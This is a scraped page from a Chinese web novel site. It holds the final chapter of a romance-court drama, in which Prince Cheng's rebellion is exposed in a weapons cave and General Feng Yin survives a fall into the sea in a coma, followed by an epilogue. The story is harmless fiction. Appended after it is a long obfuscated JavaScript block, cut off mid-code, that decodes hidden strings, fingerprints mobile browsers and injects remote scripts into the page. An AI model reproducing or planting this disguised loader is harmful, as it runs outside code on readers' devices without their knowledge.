关灯
护眼
字体:

第700章 团圆幸福大结局(第1页)

章节目录保存书签

被恭维的风吟没什么反应,不过眉梢却是不经意地挑了挑。孟祥东更着急了:“你们也给我想想办法啊,铖王那边怎么办啊?”风吟白了他一眼:“你那两个眼线,一看就能看穿是眼线,他们能传回消息才怪!明天晚上,准备着吧!”孟祥东是个正直的人,在官场时间又太短,在挑眼线这方面自然没有风吟老道。“这个,挑眼线不是要挑正直忠诚的吗?万一给叛变了怎么办?”自己的两个眼线没有传回消息来,孟祥东自己也觉得理亏了,说话都弱弱的。风吟原本不打算跟他多说的,不过也想借着这个机会好好教导一下“新人”:“等哪天事情结束了,本将军让你瞧瞧我的眼线。”再多的就懒得说了,没办法,谁让他是个懒人呢!第二天,天阴沉沉的,海面上压着厚厚一层乌云,本要出海的渔民也都回到家里不出海了,就等着这场大雨降临。一直等到天色全黑,这场雨才终于下来了。整个云水小镇都笼罩在这场瓢泼大雨中,却没人发现,应该空无一人的大海里此时正有两艘大船朝着海中快速行驶。“父王,这次,肯定能成功了吧?”船舱里,敖颖平看着外边这场大雨,心里总觉得有些不踏实。铖王却胜券在握,将杯中酒喝完之后才笑着看外边的雨幕:“这场大雨来得及时,海上无人,村中也无人,连在海上巡视的那些风家军都少了不少。呵,连老天爷都在帮本王。”什么叫天时地利人和?这就是天时地利人和,连老天爷都帮他,他这次的大举绝对会成功!可敖颖平总觉得这场大雨不是什么好事,正如铖王所说,海上无人,村中无人,别人绝对不会发现他们。但反过来,他们在海上,不是也不能察觉到是否有旁人吗?想了想,敖颖平还是觉得有些不妥,起身去嘱咐手下,一定要仔细观察周围是否有可疑的事情发生。虽然有大雨,不过海上也还算平静,特别是大船靠近翠竹岛之后,海浪就更小了。翠竹岛正是前段时间铖王带人特意去的小岛,他有些东西留在了这里,今日,就是要把这些东西带回去的。大船靠岸之后,铖王带来的人便都快速上岸了,四五十个人,人数不算少,但对于翠竹深深的翠竹岛来说,他们刚上岸便已经失去了踪影。这些人都是铖王父子暗中从平城带过来的好手,至于之前跟孟祥东讨要的那些人,不过是个幌子罢了。这会儿,已经被他一副迷药干翻,此时都在密室里睡觉呢!“父王,您也要下去吗?”见铖王准备下船,敖颖平赶紧上前:“父王,岛上情况不明,天气也不好,您还是”“多年筹谋,我怎能在这个时候不当面见证?走吧,今日的天气正合适。”铖王抬头瞧瞧阴云密布的天,又瞧瞧面前绿的阴沉的翠竹林,脸上都是兴奋的喜悦。可敖颖平并没有这么欢喜,他总觉得今日的事进展得太顺利,顺利到有些奇怪。叹了口气,敖颖平将提前准备好的包袱捆在腰间,用长袍盖住,便快步追了上去。翠竹林是一座十分袖珍的小岛,方圆不过几十里,但因为岛上长满了翠竹,林中又罕见得有着瘴气,所以即便这座小岛距离海岸不算太远,平时也从未有什么渔民到这个岛上来。但今日不同,几十个人在密林中穿梭而行,风在耳边呼呼刮过,除了风声,就只有纷乱的脚步声和树叶摩擦的声音。别看铖王年纪渐长,但在林子里穿梭而行时丝毫不见有任何停滞,跟平日展现在人前的他完全不一样,连敖颖平这个正当壮年的人都有些自愧不如。一行人在林子里兜兜转转走了很久,绕过了几处散发着浓郁瘴气的地方,便来到了一座山前。这座小山并不太高,又因为处于林子中间,在岛外根本看不出,要不是亲眼见到,谁能相信这么小的岛上居然有三分之一都是山。为首的人回头请示了一下铖王,见铖王点头,便带着三个手下上前。他们在山前动作了一番,山体突地动了几下,面前便出现了一个大大的不太规整的门。“进去!”为首的人简单检查了一下,便带着几个手下当先开路,铖王也迫不及待地追了上去。敖颖平谨慎些,回头看了半晌身后的竹林,又留了两个人在洞口守着,才快步跟了上去。山洞狭长,两边墙壁上预备着火把,此时已经点亮,脚下是较为规整的台阶,看得出来,他们现在是在往地下走的。众人显然不是第一次来到山洞里,走得都非常快,大概走了有一刻钟,面前的路终于宽敞起来,灯火也亮了。“到了!”铖王激动得声音都颤抖了,快走几步冲到了最前边。这山洞中三面墙都摆满了箱子,箱子上都盖着盖子,没有得到命令之前,没人上前打开那些箱子。,!“父王”敖颖平下意识地看向铖王,只见他已经快步走到一个箱子前,抽出身旁手下腰间的佩刀,两下便将箱子上的盖子给撬开了。哐啷一声,木盖子落地,露出了里边的东西。“哈哈,都在这里,果然都在这里!太好了,有了这些东西,我就能成功了!成功了!”铖王大笑着,拿出了箱子里的东西。是一把崭新又锋利的长刀,刀身被洞中的灯火照着,反射着明晃晃的光。他这一个动作,跟随而来的几十个人也都将地上其它的箱子撬开了,里边全都是各种兵器,刀,剑,甚至还有两箱子的火药。即便已经知道山洞中有什么东西,也来过几趟,但看到眼前这么多箱武器的时候,敖颖平还是愣住了。“父王,我们,我们真的”“真的什么?”铖王一把将刀劈在箱子上,厚重的箱子立即被锋利的刀刃劈出了一个口子,“真的要造反吗?哈哈,本王卧薪尝胆这么多年,辛苦培养严氏这么多年,就是为了等这一天,你说本王是不是真的?”造反二字还是第一次说出来,真的听到这两个字的时候,敖颖平想到的不是兴奋,反而是莫名的战栗。但身边,已经响起了震耳欲聋的欢呼声,跟随铖王而来的几十个手下,此时都兴奋激动地嚷着喊着,等铖王造反成功,他们就是开国功臣,不说位高权重,却也有丰厚俸禄。只是,他们似乎高兴得有些太早了。“呦!这么高兴啊,是发现了什么宝藏吗?”吊儿郎当的声音在洞口响起,欢呼的众人立即警惕地看着来人,不是旁人,正是扇着扇子的冯宇谋和一脸沉重的孟祥东。跟随二人一起进来的还有十几个佩戴宝剑的风家军,一进来,便将他们团团围住了。铖王似乎并不意外,劈在箱子上的刀也不管,回身笑道:“没想到,你们还是来了,动作还是挺快的嘛!”孟祥东一愣:“你知道我们会来?”“当然知道。”铖王嘲讽一笑:“你安排进来的那两个笨蛋,一看就是你的人,消息能走漏一次,自然能走漏第二次,本王早就在你们身边安排了人,你们出门的时候我就知道了。”既然知道他们要跟来,却还这么肆无忌惮地带着他们来到了翠竹山,不是有阴谋就是太过自信。“铖王还真是手段了得啊,本将军之前真是小看你了。让我猜猜,你这山洞里的东西应该都是从水匪岛上运过来的吧?严氏?妍姬?原来水匪头子是姓严的?而且,你跟他们还是一伙的?”冯宇谋是知道雷厉明身份的,自然也知道雷厉明的母亲妍姬就是水匪头子的千金。铖王哈哈笑了起来,没有承认,反而反问:“原来你也知道雷厉明的母亲妍姬就是水匪啊,哈哈,果然你们之前都是在跟本王演戏,只是可惜,那个傻皇帝居然还被你们给骗了,让本王的计划就这么被破坏了!”傻皇帝?冯宇谋似乎憋着笑了笑,手中的扇子敲了敲手心儿,高高挑了挑眉头:“我说铖王啊,陛下那么信任你,你居然是在欺骗他,就不怕被他知道了,伤了陛下的心吗?”“伤心?他伤心跟我有什么关系?”似乎触动了铖王心底的某根敏感的弦,他像是魔怔了一般,脸上满是恶毒的表情:“当年他杀了那么多自己的兄弟,连亲兄弟都不留情的时候,怎么不知道伤心?本王跟他不熟,管他伤心不伤心!倒是你们”阴仄仄地笑了笑,铖王做了个手势,那几十个人立即抽出箱子里的刀剑跟冯宇谋带来的人对峙起来。“冯大将军,倒是你们几个啊,本王既然允许你们跟过来,自然是做好打算将所有脏水都泼到你们身上了。呵,也幸好今日是你们两个,若是换了风吟那家伙,估计就不会这么轻易上当了。”啪!冯宇谋一把将扇子合上,不知是气得,还是恼了,牙齿磨得吱吱响:“风吟?哈,我看你还真是太高看他了!你还不出来吗?再不出来,人家都以为我是个傻子了!”后面这句显然不是跟铖王说的。一个念头在心头闪过,众人看向洞口,果然,身着银白长袍的男子慢慢从黑暗中踱出,不是风吟又是谁?“你,你,你不是”铖王终于有些结巴了,显然没想到风吟会出现在距离京城百十里的云水小镇。不过他很快又释然了,哈哈笑了起来:“我就说,宁安郡主的身孕来的真是时候啊,你前脚被禁足,她后脚就有了,连舒妃娘娘亲自去探望都见不到人,果然是有猫腻!”京城里不知道有多少人都在猜测云舒的身孕,但因为舒妃娘娘派去的人都见不到她,京城里那些人又没有实质性的证据,也就只能在背地里哼哼两声,谁也不敢真的当面去求证。其实铖王也没有十足的把握,他说这番话多半也是为了试探风吟。小主,这个章节后面还有哦,,后面更精彩!不过,风吟显然不想跟他多废话,他还得回去抱着媳妇儿睡觉呢!“有没有猫腻,跟你有关系吗?”依然是一如既往地冷,一如既往地高高在上不可一世。铖王被噎得喉头滑动了一下,冷笑道:“世人都道风吟是常胜将军,今日一瞧,也不过如此。你以为就凭这些人能把本王如何吗?”他身后有堆积成墙的武器和火药,还有几十个好手。他不担心山洞外边会有多少风家军的人,以为翠竹山是个什么样,他比任何人都清楚。那些瘴气,还有隐藏在草丛中的陷阱和泥沼,是绝对不允许大批量将士进来的。所以,铖王才会这么胸有成竹,才会这么理直气壮。“风吟,冯宇谋,本王劝你们还是弃暗投明的好,那老皇帝有什么好?本王只是略施小计他就能中圈套,与你们与雷家离了心,那样昏庸的皇帝,早就该退位让贤了!本王答应你们,只要你们跟着本王,将来高官厚禄,美女黄金,全都取之不尽用之不竭!”呦!冯宇谋眼睛亮晶晶的:“高官厚禄,美女黄金?啧啧,别的也就罢了,这美女我还是挺喜欢的,他们一个个的都有了媳妇儿,也就本将军还在单着,嗯,倒是可以考虑考虑的。”“大舅哥!”孟祥东当先急了,一把抓住了冯宇谋的胳膊:“莫要被他的花言巧语蒙骗了!”要么说孟祥东太过正直了,果然如此。冯宇谋翻了个白眼儿:“无趣!本将军开个玩笑而已,就这老匹夫身边能有什么美女?”要是真的有,肯定也被他自己给用了。孟祥东松了口气,幸好这家伙是随便说说的,不过,就算是随便说说,也不能开这种玩笑。“大舅哥,这都什么时候了,开玩笑也是要分场合的。”孟祥东苦口婆心,还往山洞的位置挤了挤眼睛。冯宇谋给了他一个了然的眼神,不过心里还真有些后怕,今儿太过激动了,都忘了外边还有尊大佛呢!风吟已经等得不耐烦了,今日天气本就不好,云舒从早上醒来就觉得有些不舒服,他却还要跑到这么远的地方来堵这个杀千刀的铖王,现在让他多在这里待上一刻钟都觉得像待了三年五载一般。“人家都开始收买了,你还不出来?再不出来,我可不保证这些人会不会被他的高官厚禄和美女黄金给抢走!”山洞外的人嘴角抽了抽,不过还是第一时间就带着人进了山洞。当他的身影出现在山洞中的时候,志得意满的铖王,顿时垮了。“陛,陛下?您,您怎么在这里?”来人正是老皇帝,不仅有他,还有三、六、七、八四位皇子。三皇子是为了立功主动来的,六八两位皇子是被老皇帝点名来的,至于七皇子嘛,嗯,完全是来凑热闹的。“堂弟,你是不是有什么话要跟朕说?”铖王的确有很多话要说,不过他现在更想做的是询问。“你们,你们是在演戏?你们是在骗我?”铖王觉得自己的声音都颤抖了,想想当年能从那么多兄弟们中间脱颖而出登上皇位的老皇帝,怎么可能会在老了以后就着了他的道?果然啊,老奸巨猾,说的就是老皇帝这种人!“堂弟,朕当初也是给过你机会的,是你自己没有珍惜。罢了,既然你跟水匪勾结,意图谋反,朕就索性陪着你演了这出戏吧!至于你在京城中留下的那些败类,放心,朕早就已经秘密处置了,不久你们就会团聚了。”老皇帝可不是一般人,哪能那么容易就被人牵着鼻子走?更何况,雷家和风家不是一般人家,若说整个东陵还有谁能让他相信的,那就只有这两家人了。至于雷厉明的生母,管她是谁,反正已经死了,只要雷厉明忠心耿耿就够了。“跟他费什么话?赶紧抓了,这岛上冷得很,抓了好回去睡觉。”风吟懒洋洋地嘟囔了一句,示意手下人抓人。老皇帝瞪了他一眼,还是那种宠溺又拿他没办法的眼神。“上,快上!他们人少,只要你们能你们怎么了?怎么都不动了?赶紧杀了他们啊!”铖王急了,因为他带来的人手都齐齐扔掉了手里的刀剑,还痛苦地哼唧了起来。冯宇谋却乐了:“哈哈,鬼老头儿的药果然管用!算的时间也挺准的,这药效发作的时间正好啊!”居然是被人给下药了,这么多人同时中招,必定是有内贼了。没了这些手下的屏障,铖王和世子敖颖平就算是武功高强也不管用了。毕竟眼前有两位武功卓绝的大将军坐镇呢!“父王,大势已去,我们还是求陛下宽恕吧!”敖颖平本就觉得今日有些忐忑,此时终于还是服软了。他看向老皇帝,为自己的父亲求情,也为自己的弟弟求情:“陛下,颖琛并不知道这些事,他一心都只想着怎么挣钱,怎么让平城的百姓富裕,还求陛下看在他一片赤子之心的份上,饶他一命。至于臣下和家父,一人做事一人当,陛下怎么处置都行。”,!都到了这个时候,还想着为自己的弟弟求情,果然是兄弟情深。铖王虽是乱臣贼子,但毕竟是皇室中人,又没有酿成多大的后果,老皇帝年纪渐长,也就不怎么喜欢杀戮了,他原本就想着将铖王父子二人软禁一辈子的,现在借着敖颖平求情,自然也就有了个台阶下。只是,还未等他开口,只听得一声轰隆巨响,面前堆积成墙的箱子突然倒塌,石壁也开了一个仅容一人通过的小门,铖王的笑声和叫嚣在烟尘中传来。“谁说本王会输?本王会回来的!对了,就算本王输了,也给陛下戴了顶绿帽子,还感谢陛下帮臣弟养了二十多年的儿子啦,哈哈!”情急求生之下,铖王将隐藏了多年的秘密说了出来。老皇帝果然心神大乱,一回头就看向了正低头剧烈咳嗽的三皇子:“朕早就察觉不对劲儿了,原来是真的!你母妃,好大的胆子!”一脸懵逼的三皇子:石壁的小门很快就合上了,铖王拉着儿子奔了出来,只见石壁上挂着一艘小船,小船还用树枝藤蔓掩蔽着,显然是早就想好了退路。“把船弄下来,咱们赶紧走!他们一时半会儿还来不了,追不上咱们的!”铖王抽出腰间的佩剑,砍断了藤蔓,砍断了拴着小船的绳子,哗啦一声,船落到水里,激起层层浪花。敖颖平搀扶着父亲正要上船,一只冰冷的手从身后掐住了他的脖子。“王爷,世子,这么着急走,是要回平城吗?”这冷若冰霜的声音,让父子二人心生绝望。若是旁人,或许还能收买,但现在是风吟,威逼利诱都不管用了。敖颖平的脖子在风吟手中,只要他一动,就能被风衣你掐断脖子当场毙命。但铖王无事,可让他放弃自己的儿子就这么走了,他不舍得。虽然女人无数,但儿子只有三个。三皇子就不提了,只是他利用舒妃的筹码。可敖颖平和敖颖琛就不同了,都是自己眼皮子底下长起来的。最重要的是敖颖平又是他最喜欢最欣赏的儿子,将来自己的大业可是要交到他手里的。“风吟,你别冲动!我们做个交易如何?”风吟没什么兴趣,眼神依然冰冷。铖王不管儿子如何催着自己快走,他还在挣扎:“宁安郡主的游乐场,只要你放了我们,我就把真相告诉你,还有人证,全都给你,怎么样?”跟风吟打交道这么久,他当然知道风吟的软肋就是云舒。不过这次,好像失算了。“你说的是那两家受害者和你的管家吗?那就不必了,已经有人将他们送到本将军府上了。”这还是今天早上他从京城收到的飞鸽传书知道的,说是有人半夜给绑了个人扔到院子里了,这个被绑的就是负责买孩子并策划了游乐场意外的管家。有了这个管家,剩下的事就好办了,很快就找到了那两家受害人。至于绑人并送到家里的好心人是谁,就不得而知了。他们只在管家身上搜到一封信,信里只有一句话:西陵俏媒婆说媒无数,你需要吗?西陵的确有个年纪轻轻又漂亮的媒婆,可那人远在千里之外,为何会管他们的闲事?居然还问他们需要吗,这还用问吗,当然不需要!风吟眯了眯眼睛,直觉告诉他,千万不能跟这个西陵的什么媒婆见面,特别是云舒,万一把他媳妇儿给拐走了怎么办?铖王显然并不知道这些,震惊得半天没说出话来。就在风吟走神的一瞬间,一根细长又结实的线绕过了他的腰,将他和敖颖平紧紧地缠在了一起。那东西正是敖颖平藏在腰间的宝贝。“风大将军,既然你不肯放过我们,那就跟我一起去死吧!这小岛下边全都是暗礁,咱们就打个赌,看谁能幸运地活下来!”敖颖平眼中没有疯狂,没有视死如归的大义,他只是平静地说着这些话,就像在问等下吃什么饭一样寻常。风吟眯眼,腕间滑出一把匕首,只是那线看上去细长,却格外结实,这削铁如泥的匕首,居然没能一次成功。等他准备削第二下的时候,敖颖平已经身子后坠,带着他一同朝水中落去。“父王,让二弟好好活着!”落水瞬间,敖颖平最放心不下的就是自己的弟弟,希望父亲能看在他只剩下这一个儿子的份上,好好对待他。半年后。云水小镇依然繁华,游客络绎不绝,美丽的午后海滩边,一个大腹便便的妇人坐在一个小椅子上,正陪着身边的丈夫聊天。男人静静地坐着,头有些歪,腿上还盖着一个厚实的小毯子。离近了才发现,这男人坐着的是个做工精良的轮椅。这对夫妇正是云舒风吟。修长的手指抚过风吟光洁额头上那道浅浅的疤痕,云舒咬唇,叹了口气。敖颖平说的不错,岛下全是暗礁,两人落水后,敖颖平便一头撞到暗礁上,死了。,!风吟运气好一点,也撞到了头,但并不致命,只是晕了过去。不过头部受伤,再加上憋水太久,他已经昏睡了半年。这半年里,发生了很多变化。给他盖了盖毯子,云舒又再一次絮叨起来,鬼先生说了,多跟他聊天,会让他更快地醒过来。“老皇帝又来咱们海边玩了,朝廷的事全扔给太子了。不过八皇子当太子还挺合适的,你当初真的没有看错。”“就是便宜了敖子安了,他现在一身轻松,又开始做生意了,抢了我好多客人走。等你醒了,一定要帮我教训他!”虽然说得很生气似的,但她嘴角的笑容却是骗不了人的。其实也不算抢走,只是看她怀有身孕又要照顾风吟,敖子安多帮她分担一些罢了。“爹娘说我这胎应该是女儿,他们说女儿好,女儿贴心,可我希望会是个男孩,像你一样勇猛。”“前两天接到的消息,舒妃自尽了,听说是跟铖王见了一面后伤心欲绝。哦不能叫铖王了,他已经贬为庶民被终身软禁了。不过庶民也挺好,敖颖琛和蕊姐姐再也没障碍了,两人现在生意做得可好了呢,都做到西陵去了。”“对了,西陵那个媒婆,你不是好奇吗?其实啊,她是我的朋友呢!应该说是老乡吧,以后我们都有时间了,她说会来看我的。”又说了好多好多,云舒坐的有点累了,微微直了直腰身,肚子里的小东西立即调皮地踹了一脚。“小家伙!又踹我!来,你摸摸她,她正踢腾得厉害呢!”自从有了胎动,云舒每天都让风吟摸自己的肚子,虽然没能亲眼见证她的肚子一天一天隆起的过程,但摸摸肚子,也让她觉得他没有错过这个重要的阶段。不知是今日孩子踢腾得太厉害了,还是风吟真的有了感觉,放在云舒肚子上的手指,突然动了动。定定地看着那微微颤抖的手指,云舒的眼泪啪嗒啪嗒掉了下来,笑容却灿烂得像温暖的阳光。:()娇宠悍妻:将军,来种田!

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD 